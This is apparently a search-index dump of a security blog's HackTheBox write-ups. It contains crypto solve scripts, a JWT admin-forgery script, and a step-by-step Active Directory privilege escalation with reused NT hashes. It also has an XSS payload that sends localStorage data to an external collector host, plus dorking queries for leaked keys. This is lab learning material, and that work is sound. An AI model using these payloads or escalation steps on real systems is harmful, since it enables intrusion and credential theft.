f\u0026#34;http://{sys.argv[1]}/\u0026#34; URL = get_base_url() def craft_admin_token(jwt): header, payload, _ = jwt.split(\u0026#39;.\u0026#39;) new_payload = b64encode(b64decode(payload.encode()).replace(b\u0026#39;user\u0026#39;, b\u0026#39;admin\u0026#39;)).decode() return f\u0026#34;{header}.{new_payload}.MAYCAQACAQA\u0026#34; def jwt_user(): headers = { \u0026#34;Host\u0026#34;: sys.argv[1], \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34; } requests.post(f\u0026#39;{URL}/register\u0026#39;, headers=headers, data=\u0026#34;username=htb_user\u0026amp;password=htb_user\u0026amp;email=user@htb.eu\u0026#34;) response = requests.post(f\u0026#39;{URL}/login\u0026#39;, headers=headers, data=\u0026#34;username=htb_user\u0026amp;password=htb_user\u0026#34;) if response.status_code != 200: print(f\u0026#34;Error during login: {response.text}\u0026#34;) sys.exit(1) token = response.cookies.get(\u0026#39;token\u0026#39;) if not token: print(\u0026#34;Error: JWT token not found in cookies\u0026#34;) sys.exit(1) return token def send_admin_token(token): response = requests.get(f\u0026#39;{URL}/list\u0026#39;, cookies={\u0026#39;token\u0026#39;: token}) match = re.search(r\u0026#39;HTB\\{.*?\\}\u0026#39;, response.text) return match.group(0) if match else \u0026#34;Flag not found\u0026#34; if __name__ == \u0026#39;__main__\u0026#39;: admin_token = craft_admin_token(jwt_user()) flag = send_admin_token(admin_token) print(flag) Summary Read Before You Sign: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Read-Before-You-Sign-Challenge/","protected":null,"snippet":"Read Before You Sign: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox Read Before You Sign Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/797\nDescription Hidden deep in the forest was an ancient scroll, rumored to grant immense power to anyone who could read its shifting symbols. On Halloween, a curious traveler found the scroll, its letters strangely out of order. As they deciphered the message, the words slowly rearranged themselves, revealing a dark spell. But with the final shift, the traveler felt a cold presence behind them, whispering, \u0026ldquo;You were never meant to understand.\u0026rdquo; The forest grew silent, but the spell was already cast.\nSource output.txt\nJRYPBZR0GB0UNPXGUROBB0GJBGUBHFNAQGJRAGLSBHE!0GUVF0VF0N0CEBBS0BS0PBAPRCG0GB0CEBIR0LBH0GUNG0GUR0PNRFNE0PVCURE0VF0VAFRPHER0AB0ZNGGRE0UBJ0ZNAL0GVZRF0LBH0NCCYL0VG.0GUR0FRPHEVGL0BS0N0GUBHFNAQ0QVFGVAPG0FUVSGF0VF0RIRAGHNYYL0GUR0FNZR0NF0GUNG0BS0N0FVATYR0FUVSG.0RABHTU0ZHZOYVAT,0GNXR0LBHE0SYNT0NAQ0RAWBL0GUR0ERFG0BS0GUR0PBAGRFG.0ZNXR0FHER0LBH0JENC0GUR0SBYYBJVAT0GRKG0JVGU0GUR0UGO0SYNT0SBEZNG0GURRSSRPGVIRXRLFCNPRBSPNRFNEQRCRAQFBAGURFVMRBSGURNYCUNORG. source.py\nfrom random import choices import os def julius_encrypt(msg, shift): ct = \u0026#39;\u0026#39; for p in msg: if p == \u0026#39; \u0026#39;: ct += \u0026#39;0\u0026#39; elif not ord(\u0026#39;A\u0026#39;) \u0026lt;= ord(p) \u0026lt;= ord(\u0026#39;Z\u0026#39;): ct += p else: o = ord(p) - 65 ct += chr(65 + (o + shift) % 26) return ct def encrypt(msg, key): for shift in key: msg = julius_encrypt(msg, shift) return msg msg = open(\u0026#39;secret.txt\u0026#39;).read().upper() secure_key = os.urandom(1337) with open(\u0026#39;output.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(encrypt(msg, secure_key)) Exploitation #!/usr/bin/python3 def julius_decrypt(ct, shift): msg = \u0026#39;\u0026#39; for c in ct: if c == \u0026#39;0\u0026#39;: msg += \u0026#39; \u0026#39; elif not ord(\u0026#39;A\u0026#39;) \u0026lt;= ord(c) \u0026lt;= ord(\u0026#39;Z\u0026#39;): msg += c else: o = ord(c) - 65 msg += chr(65 + (o - shift) % 26) return msg def test_all_shifts(encrypted_text): results = [] for shift in range(26): decrypted = julius_decrypt(encrypted_text, shift) results.append((shift, decrypted)) return results def find_htb_flag(decrypted_text): parts = decrypted_text.split() flag_text = parts[-1] return f\u0026#34;HTB{{{flag_text}}}\u0026#34; encrypted = \u0026#34;JRYPBZR0GB0UNPXGUROBB0GJBGUBHFNAQGJRAGLSBHE!0GUVF0VF0N0CEBBS0BS0PBAPRCG0GB0CEBIR0LBH0GUNG0GUR0PNRFNE0PVCURE0VF0VAFRPHER0AB0ZNGGRE0UBJ0ZNAL0GVZRF0LBH0NCCYL0VG.0GUR0FRPHEVGL0BS0N0GUBHFNAQ0QVFGVAPG0FUVSGF0VF0RIRAGHNYYL0GUR0FNZR0NF0GUNG0BS0N0FVATYR0FUVSG.0RABHTU0ZHZOYVAT,0GNXR0LBHE0SYNT0NAQ0RAWBL0GUR0ERFG0BS0GUR0PBAGRFG.0ZNXR0FHER0LBH0JENC0GUR0SBYYBJVAT0GRKG0JVGU0GUR0UGO0SYNT0SBEZNG0GURRSSRPGVIRXRLFCNPRBSPNRFNEQRCRAQFBAGURFVMRBSGURNYCUNORG\u0026#34; print(\u0026#34;Attempting all possible shifts...\u0026#34;) all_decryptions = test_all_shifts(encrypted) for shift, decrypted in all_decryptions: if \u0026#34; THE \u0026#34; in decrypted or \u0026#34; AND \u0026#34; in decrypted or \u0026#34; IS \u0026#34; in decrypted: print(f\u0026#34;\\nShift {shift} (likely correct):\u0026#34;) print(\u0026#34;-\u0026#34; * 50) print(decrypted) print(\u0026#34;\\nPotential HTB flag:\u0026#34;) print(find_htb_flag(decrypted)) break decrypted_text = julius_decrypt(encrypted, 13) flag = find_htb_flag(decrypted_text) print(\u0026#34;\\nFinal decrypted message:\u0026#34;) print(decrypted_text.replace(\u0026#34;0\u0026#34;, \u0026#34; \u0026#34;)) print(\u0026#34;\\nFinal HTB flag:\u0026#34;) print(flag) Summary Sekur Julius: reconstruct the PRNG state from the leak, replay it, and recover the flag.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sekur-Julius-Challenge/","protected":null,"snippet":"Sekur Julius: reconstruct the PRNG state from the leak, replay it, and recover the flag.","tags":["htb","crypto","prng"],"title":"HackTheBox Sekur Julius Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/619\nDescription After successfully joining the academy, there is a process where you have to log in to eclass in order to access notes in each class and get the current updates for the ongoing prank labs. When you attempt to log in, though, your browser crashes, and all your files get encrypted. This is yet another prank for the newcomers. The only thing provided is the password generator script. Can you crack it, unlock your files, and log in to the spooky platform?\nSource output.txt\nYour Password : t*!zGnf#LKO~drVQc@n%oFFZyvhvGZq8zbfXKvE1#*R%uh*$M6c$zrxWedrAENFJB7xz0ps4zh94EwZOnVT9\u0026amp;h Encrypted Flag : GKLlVVw9uz/QzqKiBPAvdLA+QyRqyctsPJ/tx8Ac2hIUl8/kJaEvHthHUuwFDRCs server.py\nfrom hashlib import sha256 import string, random from secret import MASTER_KEY, FLAG from Crypto.Cipher import AES from Crypto.Util.Padding import pad from base64 import b64encode ALPHABET = string.ascii_letters + string.digits + \u0026#39;~!@#$%^\u0026amp;*\u0026#39; def generate_password(): master_key = int.from_bytes(MASTER_KEY, \u0026#39;little\u0026#39;) password = \u0026#39;\u0026#39; while master_key: bit = master_key \u0026amp; 1 if bit: password += random.choice(ALPHABET[:len(ALPHABET)//2]) else: password += random.choice(ALPHABET[len(ALPHABET)//2:]) master_key \u0026gt;\u0026gt;= 1 return password def main(): password = generate_password() encryption_key = sha256(MASTER_KEY).digest() cipher = AES.new(encryption_key, AES.MODE_ECB) ciphertext = cipher.encrypt(pad(FLAG, 16)) with open(\u0026#39;output.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(f\u0026#39;Your Password : {password}\\nEncrypted Flag : {b64encode(ciphertext).decode()}\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: main() Exploitation #!/usr/bin/python3 from hashlib import sha256 from Crypto.Cipher import AES from base64 import b64decode import string password = \u0026#34;t*!zGnf#LKO~drVQc@n%oFFZyvhvGZq8zbfXKvE1#*R%uh*$M6c$zrxWedrAENFJB7xz0ps4zh94EwZOnVT9\u0026amp;h\u0026#34; encrypted_flag = \u0026#34;GKLlVVw9uz/QzqKiBPAvdLA+QyRqyctsPJ/tx8Ac2hIUl8/kJaEvHthHUuwFDRCs\u0026#34; ALPHABET = string.ascii_letters + string.digits + \u0026#39;~!@#$%^\u0026amp;*\u0026#39; first_half = ALPHABET[:len(ALPHABET)//2] second_half = ALPHABET[len(ALPHABET)//2:] master_key_bits = [] for char in password: if char in first_half: master_key_bits.append(1) else: master_key_bits.append(0) master_key = 0 for bit in reversed(master_key_bits): master_key = (master_key \u0026lt;\u0026lt; 1) | bit MASTER_KEY = master_key.to_bytes((master_key.bit_length() + 7) // 8, \u0026#39;little\u0026#39;) encryption_key = sha256(MASTER_KEY).digest() cipher = AES.new(encryption_key, AES.MODE_ECB) ciphertext = b64decode(encrypted_flag) flag = cipher.decrypt(ciphertext) print(f\u0026#34;Recovered MASTER_KEY (hex): {MASTER_KEY.hex()}\u0026#34;) print(f\u0026#34;Flag: {flag.decode()}\u0026#34;) Summary SPG: reconstruct the generator state, derive the AES material, and decrypt the final ciphertext.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-SPG-Challenge/","protected":null,"snippet":"SPG: reconstruct the generator state, derive the AES material, and decrypt the final ciphertext.","tags":["htb","crypto","aes","prng","hash"],"title":"HackTheBox SPG Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/798\nDescription For years, strange signals pulsed through the air on the eve of October 31st. Some said it was the voice of an ancient witch, others believed it was a message from something far darker. A cryptic message, scattered in three parts, was intercepted by a daring group of villagers. Legend spoke of a deal made between the witch and a shadowy figure, but the true intent of their secret could only be revealed by those brave enough to decipher it before midnight, when the veil between worlds would thin.\nProvided Output output.txt\nv1 = 1181239096013650837744125294978177790419553719590172794906535790528758829840751110126012179328061375399196613652870424327167341710919767887891371258453 v2 = 2710472017687233737830986182523923794327361982506952801148259340657557362009893794103841036477555389231149721438246037558380601526471290201500759382599 v3 = 3448392481703214771250575110613977019995990789986191254013989726393898522179975576074870115491914882384518345287960772371387233225699632815814340359065 v4 = 396216122131701300135834622026808509913659513306193 Source source.py\nfrom Crypto.Util.number import bytes_to_long FLAG = open(\u0026#34;flag.txt\u0026#34;, \u0026#34;rb\u0026#34;).read() step = len(FLAG) // 3 candies = [bytes_to_long(FLAG[i:i+step]) for i in range(0, len(FLAG), step)] cnd1, cnd2, cnd3 = candies with open(\u0026#39;output.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(f\u0026#39;v1 = {cnd1**3 + cnd3**2 + cnd2}\\n\u0026#39;) f.write(f\u0026#39;v2 = {cnd2**3 + cnd1**2 + cnd3}\\n\u0026#39;) f.write(f\u0026#39;v3 = {cnd3**3 + cnd2**2 + cnd1}\\n\u0026#39;) f.write(f\u0026#39;v4 = {cnd1 + cnd2 + cnd3}\\n\u0026#39;) Exploitation #!/usr/bin/python3 from sympy import symbols, Eq, solve from Crypto.Util.number import long_to_bytes v1 = 1181239096013650837744125294978177790419553719590172794906535790528758829840751110126012179328061375399196613652870424327167341710919767887891371258453 v2 = 2710472017687233737830986182523923794327361982506952801148259340657557362009893794103841036477555389231149721438246037558380601526471290201500759382599 v3 = 3448392481703214771250575110613977019995990789986191254013989726393898522179975576074870115491914882384518345287960772371387233225699632815814340359065 v4 = 396216122131701300135834622026808509913659513306193 cnd1, cnd2, cnd3 = symbols(\u0026#39;cnd1 cnd2 cnd3\u0026#39;) eq1 = Eq(cnd1**3 + cnd3**2 + cnd2, v1) eq2 = Eq(cnd2**3 + cnd1**2 + cnd3, v2) eq3 = Eq(cnd3**3 + cnd2**2 + cnd1, v3) eq4 = Eq(cnd1 + cnd2 + cnd3, v4) solutions = solve((eq1, eq2, eq3, eq4), (cnd1, cnd2, cnd3)) solution = solutions[0] cnd1_val, cnd2_val, cnd3_val = solution flag_chunk1 = long_to_bytes(cnd1_val) flag_chunk2 = long_to_bytes(cnd2_val) flag_chunk3 = long_to_bytes(cnd3_val) flag = flag_chunk1 + flag_chunk2 + flag_chunk3 print(\u0026#34;Recovered Flag:\u0026#34;, flag) Summary Sugar Free Candies: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2024-11-16T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sugar-Free-Candies-Challenge/","protected":null,"snippet":"Sugar Free Candies: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox Sugar Free Candies Challenge"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.41 cerified.htb Script to add hosts automatically ip=\u0026#34;10.10.11.41\u0026#34; domain=\u0026#34;cerified.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV cerified.htb Nmap scan report for certified.htb (10.10.11.41) Host is up (0.050s latency). Not shown: 989 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-07 08:07:35Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:DC01.certified.htb | Not valid before: 2024-05-13T15:49:36 |_Not valid after: 2025-05-13T15:49:36 |_ssl-date: 2024-11-07T08:08:57+00:00; +7h00m00s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-11-07T08:08:57+00:00; +7h00m01s from scanner time. | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:DC01.certified.htb | Not valid before: 2024-05-13T15:49:36 |_Not valid after: 2025-05-13T15:49:36 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-11-07T08:08:57+00:00; +7h00m00s from scanner time. | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:DC01.certified.htb | Not valid before: 2024-05-13T15:49:36 |_Not valid after: 2025-05-13T15:49:36 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-11-07T08:08:57+00:00; +7h00m01s from scanner time. | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:DC01.certified.htb | Not valid before: 2024-05-13T15:49:36 |_Not valid after: 2025-05-13T15:49:36 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-11-07T08:08:20 |_ start_date: N/A |_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s System Info:\nUser: judith.mader Password: judith09 Run BloodHound Data Collection:\nbloodhound-python -d certified.htb -c All -ns 10.10.11.41 --zip -u judith.mader -p judith09 --use-ldap Resolving Clock Skew Issues Synchronize System Time:\nCheck current time offset using NTP: ntpdate -q 10.10.11.41 Adjust Time for Commands:\nDefine a function to adjust time for applications (requires libfaketime): fakedate() { /usr/bin/faketime \u0026#34;$(date -d \u0026#34;$(date) $(echo \u0026#34;$(ntpdate -q 10.10.11.41)\u0026#34; | awk \u0026#39;/offset/ {print $10}\u0026#39; | sed \u0026#39;s/,$//\u0026#39;) seconds\u0026#34; \u0026#34;+%Y-%m-%d %H:%M:%S\u0026#34;)\u0026#34; \u0026#34;$@\u0026#34; } Execute Time-Sensitive Command:\nRun the Kerberos-related command with correct timing: fakedate GetUserSPNs.py certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request Note: No need to crack the password; this is just to verify that it works.\nPrivilege Escalation Set Judith as Owner of Management Group:\nbloodyad --host 10.10.11.41 -d \u0026#34;certified.htb\u0026#34; -u \u0026#34;judith.mader\u0026#34; -p \u0026#34;judith09\u0026#34; set owner Management judith.mader Grant Judith Write Permissions for Management Members:\ndacledit.py \u0026#39;certified.htb/judith.mader:judith09\u0026#39; -action write -rights WriteMembers -principal \u0026#39;judith.mader\u0026#39; -target-dn \u0026#39;CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB\u0026#39; Add Judith to the Management Group:\nnet rpc group addmem \u0026#34;Management\u0026#34; \u0026#34;judith.mader\u0026#34; -I 10.10.11.41 -U \u0026#39;certified.htb\\judith.mader%judith09\u0026#39; PyWhisker AD Management Setup:\ngit clone https://github.com/0xPreDa/pywhisker cd pywhisker pipx ensurepath pipx install . pywhisker -d certified.htb --dc-ip 10.10.11.41 -u \u0026#39;judith.mader\u0026#39; -p \u0026#39;judith09\u0026#39; -t \u0026#39;management_svc\u0026#39; --action add Encountering \u0026quot;[!] Unsupported hash type MD4\u0026quot; in PyWhisker? Enable legacy algorithms in OpenSSL to resolve this:\nEdit OpenSSL config:\nsudo nano /etc/ssl/openssl.cnf Add the following to enable MD4:\n[provider_sect] default = default_sect legacy = legacy_sect [default_sect] activate = 1 [legacy_sect] activate = 1 For more info, see this GitHub issue.\nGet TGT Using PKINIT :\nfakedate gettgtpkinit -cert-pfx $(pwd)/\u0026lt;file\u0026gt;.pfx -pfx-pass \u0026#39;\u0026lt;psw\u0026gt;\u0026#39; -dc-ip 10.10.11.41 certified.htb/management_svc management_svc.ccache Set ccache and Retrieve NT Hash:\nexport KRB5CCNAME=management_svc.ccache fakedate getnthash certified.htb/management_svc -key \u0026lt;key\u0026gt; Result: NT hash for management_svc is a091c1832bcdd4677c28b5a6a1295584. evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584 Retrieve User Flag\ntype \\users\\management_svc\\desktop\\user.txt Impersonate the ca_operator with the management_svc since DACL (Discretionary Access Control List) grants all permissions.\nfakedate certipy shadow auto -username \u0026#34;management_svc@certified.htb\u0026#34; -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator Result: NT hash for ca_operator is b4b86f45c6018f1b664f70805f45d8f2. Update UPN for ca_operator:\ncertipy account update -username \u0026#34;management_svc@certified.htb\u0026#34; -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator Request Certificate for Administrator Privileges:\ncertipy req -username \u0026#39;ca_operator@certified.htb\u0026#39; -hashes \u0026#39;b4b86f45c6018f1b664f70805f45d8f2\u0026#39; -target \u0026#39;DC01.certified.htb\u0026#39; -ca \u0026#39;certified-DC01-CA\u0026#39; -dc-ip 10.10.11.41 -template CertifiedAuthentication -debug Restore UPN for ca_operator:\ncertipy account update -username \u0026#34;management_svc@certified.htb\u0026#34; -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn \u0026#34;ca_operator@certified.htb\u0026#34; Authenticate as Administrator:\nfakedate certipy auth -pfx administrator.pfx -domain \u0026#34;certified.htb\u0026#34; Execute Remote Command as Administrator:\npsexec.py administrator@certified.htb -hashes :0d5b49608bbce1751f708748f67e2d34 Retrieve User Flag\ntype \\users\\administrator\\desktop\\root.txt Summary Certified: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-11-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Certified/","protected":null,"snippet":"Certified: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","ldap"],"title":"HackTheBox Certified Writeup"},{"categories":["notes"],"contents":"Scope Replace the placeholders with the actual authorized scope.\nPlaceholder Use \u0026lt;domain\u0026gt; Root domain or subdomain, such as example.com \u0026lt;org\u0026gt; Organization name, such as \u0026quot;Example Corp\u0026quot; \u0026lt;netblock\u0026gt; CIDR range, such as 198.51.100.0/24 \u0026lt;asn\u0026gt; Autonomous system, such as AS64496 \u0026lt;github-org\u0026gt; GitHub organization or user \u0026lt;owner/repo\u0026gt; GitHub repository Google Filters Filter Syntax Meaning Exact text \u0026quot;text\u0026quot; Match an exact phrase. Exclude -text Remove results containing a term. Either term A OR B Match either term or group. Site site:\u0026lt;domain\u0026gt; Restrict results to a domain. File type filetype:\u0026lt;ext\u0026gt; Restrict results to an extension. Before date before:YYYY-MM-DD Restrict by indexed/updated date. After date after:YYYY-MM-DD Restrict by indexed/updated date. Title intitle:\u0026lt;text\u0026gt; Match text in the title. URL inurl:\u0026lt;text\u0026gt; Match text in the URL. Body intext:\u0026lt;text\u0026gt; Match text in page content. No space goes between filter and value: site:example.com, not site: example.com.\nGoogle Patterns Goal Query Domain inventory site:\u0026lt;domain\u0026gt; -site:www.\u0026lt;domain\u0026gt; Portals and login surfaces site:\u0026lt;domain\u0026gt; (login OR portal OR dashboard OR vpn OR sso) Public documents site:\u0026lt;domain\u0026gt; (filetype:pdf OR filetype:docx OR filetype:xlsx OR filetype:pptx) Backups, logs, and dumps site:\u0026lt;domain\u0026gt; (filetype:conf OR filetype:log OR filetype:bak OR filetype:sql) Directory listings site:\u0026lt;domain\u0026gt; intitle:\u0026quot;index of\u0026quot; Staging or test pages site:\u0026lt;domain\u0026gt; (inurl:staging OR inurl:test OR inurl:dev) Public shared documents (site:docs.google.com OR site:drive.google.com) \u0026lt;domain\u0026gt; Cloud-hosted references (site:s3.amazonaws.com OR site:storage.googleapis.com OR site:azurewebsites.net) \u0026lt;domain\u0026gt; Shodan Filters Shodan uses filter:value. Quote values containing spaces.\nFilter Syntax Meaning Hostname hostname:\u0026lt;domain\u0026gt; Match hostnames. TLS common name ssl.cert.subject.cn:\u0026lt;domain\u0026gt; Match certificate subject CN. TLS issuer ssl.cert.issuer.cn:\u0026quot;\u0026lt;name\u0026gt;\u0026quot; Match certificate issuer CN. Organization org:\u0026quot;\u0026lt;org\u0026gt;\u0026quot; Match network owner. Netblock net:\u0026lt;netblock\u0026gt; Match CIDR range. ASN asn:\u0026lt;asn\u0026gt; Match autonomous system. Port port:\u0026lt;number\u0026gt; Match exposed port. Product product:\u0026quot;\u0026lt;name\u0026gt;\u0026quot; Match detected product. Version version:\u0026lt;version\u0026gt; Match detected version. OS os:\u0026lt;name\u0026gt; Match detected operating system. HTTP title http.title:\u0026quot;\u0026lt;text\u0026gt;\u0026quot; Match page title. HTTP body http.html:\u0026quot;\u0026lt;text\u0026gt;\u0026quot; Match page body. HTTP status http.status:\u0026lt;code\u0026gt; Match HTTP status. Country country:\u0026lt;code\u0026gt; Match country code. City city:\u0026quot;\u0026lt;city\u0026gt;\u0026quot; Match city. Vulnerability vuln:\u0026lt;CVE\u0026gt; Match CVE metadata. Shodan Patterns Goal Query Hostname inventory hostname:\u0026lt;domain\u0026gt; Certificate inventory ssl.cert.subject.cn:\u0026lt;domain\u0026gt; Organization exposure org:\u0026quot;\u0026lt;org\u0026gt;\u0026quot; Netblock exposure net:\u0026lt;netblock\u0026gt; ASN exposure asn:\u0026lt;asn\u0026gt; Single-port review net:\u0026lt;netblock\u0026gt; port:443 Product review org:\u0026quot;\u0026lt;org\u0026gt;\u0026quot; product:\u0026quot;OpenSSH\u0026quot; Version review org:\u0026quot;\u0026lt;org\u0026gt;\u0026quot; product:nginx version:1.18.0 Web login titles hostname:\u0026lt;domain\u0026gt; http.title:\u0026quot;login\u0026quot; Directory listing titles org:\u0026quot;\u0026lt;org\u0026gt;\u0026quot; http.title:\u0026quot;index of\u0026quot; CVE triage net:\u0026lt;netblock\u0026gt; vuln:CVE-YYYY-NNNN GitHub Filters Filter Syntax Meaning Exact text \u0026quot;text\u0026quot; Match an exact string. Both terms A AND B Require both terms. Either term A OR B Match either term. Exclude NOT \u0026lt;term\u0026gt; Remove matching results. Repository repo:\u0026lt;owner/repo\u0026gt; Search one repository. Organization org:\u0026lt;github-org\u0026gt; Search one organization. User user:\u0026lt;name\u0026gt; Search one user. Enterprise enterprise:\u0026lt;name\u0026gt; Search one enterprise. Language language:\u0026lt;name\u0026gt; Restrict by language. Path path:\u0026lt;path\u0026gt; Match file path. Content content:\u0026lt;text\u0026gt; Match file content. Symbol symbol:\u0026lt;name\u0026gt; Match symbol definitions. Property is:\u0026lt;property\u0026gt; Filter by repository/content property. Regex /pattern/ Match by regular expression. repo:, org:, and user: require complete names.\nGitHub Patterns Goal Query Repository inventory org:\u0026lt;github-org\u0026gt; NOT is:fork NOT is:archived Infrastructure paths org:\u0026lt;github-org\u0026gt; (path:/infra/ OR path:/terraform/ OR path:/kubernetes/) GitHub Actions org:\u0026lt;github-org\u0026gt; path:/.github/workflows/ Container files org:\u0026lt;github-org\u0026gt; (path:Dockerfile OR path:docker-compose.yml) Env and config files org:\u0026lt;github-org\u0026gt; (path:.env OR path:*.tfvars OR path:*.kubeconfig) Private-key markers org:\u0026lt;github-org\u0026gt; \u0026quot;BEGIN PRIVATE KEY\u0026quot; NOT path:README Token keywords org:\u0026lt;github-org\u0026gt; (\u0026quot;api_key\u0026quot; OR \u0026quot;access_token\u0026quot; OR \u0026quot;client_secret\u0026quot;) NOT path:tests Cloud credential names org:\u0026lt;github-org\u0026gt; (\u0026quot;AWS_ACCESS_KEY_ID\u0026quot; OR \u0026quot;GOOGLE_APPLICATION_CREDENTIALS\u0026quot; OR \u0026quot;AZURE_CLIENT_SECRET\u0026quot;) Python debug flags org:\u0026lt;github-org\u0026gt; language:python (\u0026quot;debug=True\u0026quot; OR \u0026quot;DEBUG = True\u0026quot;) Go TLS bypasses org:\u0026lt;github-org\u0026gt; language:go \u0026quot;InsecureSkipVerify\u0026quot; Workflow secret usage org:\u0026lt;github-org\u0026gt; path:/.github/workflows/ \u0026quot;secrets.\u0026quot; Regex private-key marker org:\u0026lt;github-org\u0026gt; /-----BEGIN [A-Z ]+PRIVATE KEY-----/ Result Fields Field Purpose Query Search string used. Source Google, Shodan, GitHub, or another index. Result URL URL or Shodan/GitHub result link. Asset Domain, host, repo, or netblock. Evidence Matched path, banner, filename, title, or string. Owner Team, repo owner, or asset owner. Status New, triaged, fixed, accepted, or false positive. References https://support.google.com/websearch/answer/2466433 https://support.google.com/websearch/answer/35890 https://help.shodan.io/the-basics/search-query-fundamentals https://help.shodan.io/mastery/vulnerability-assessment https://www.shodan.io/search/filters https://docs.github.com/en/search-github/github-code-search/understanding-github-code-search-syntax https://docs.github.com/en/search-github/searching-on-github/searching-for-repositories https://docs.github.com/en/code-security/concepts/secret-security/secret-scanning ","date":"2024-11-03T10:20:00+08:00","permalink":"https://x3ric.com/blog/posts/Dorking/","protected":null,"snippet":"Google, Shodan, and GitHub dorking filters for OSINT and exposure review.","tags":["notes","misc","osint"],"title":"Dorking"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/782\nDescription You\u0026rsquo;re a member of fsociety tasked with infiltrating E Corp\u0026rsquo;s Feedback Flux system. There\u0026rsquo;s a vulnerability hidden deep within their feedback platform, and it\u0026rsquo;s your job to find and exploit it.\nExploitation Use a webhook like https://app.interactsh.com/#/\nGet your url\nJust read ./challenge/app/Jobs/AdminBot.php\n\u0026lt;?xml \u0026gt;\u0026lt;img src=x onerror=\u0026#34;fetch(\u0026#39;https://ozyttdpkujcaljzpqpymyaliclaef8wya.oast.fun?x=\u0026#39; + localStorage.getItem(\u0026#39;flag\u0026#39;));\u0026#34;\u0026gt; ?\u0026gt; Summary Feedback Flux: use the client-side injection path to steal the needed proof and recover the flag.\n","date":"2024-11-02T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Feedback-Flux-Challenge/","protected":null,"snippet":"Feedback Flux: use the client-side injection path to steal the needed proof and recover the flag.","tags":["htb","web","xss","php"],"title":"HackTheBox Feedback Flux Challenge"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.22 blazorized.htb admin.blazorized.htb Script to add hosts automatically ip=\u0026#34;10.10.11.22\u0026#34; domain=\u0026#34;blazorized.htb admin.blazorized.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV blazorized.htb Host is up (0.048s latency). Not shown: 986 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Mozhar\u0026#39;s Digital Garden 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-01 22:20:28Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 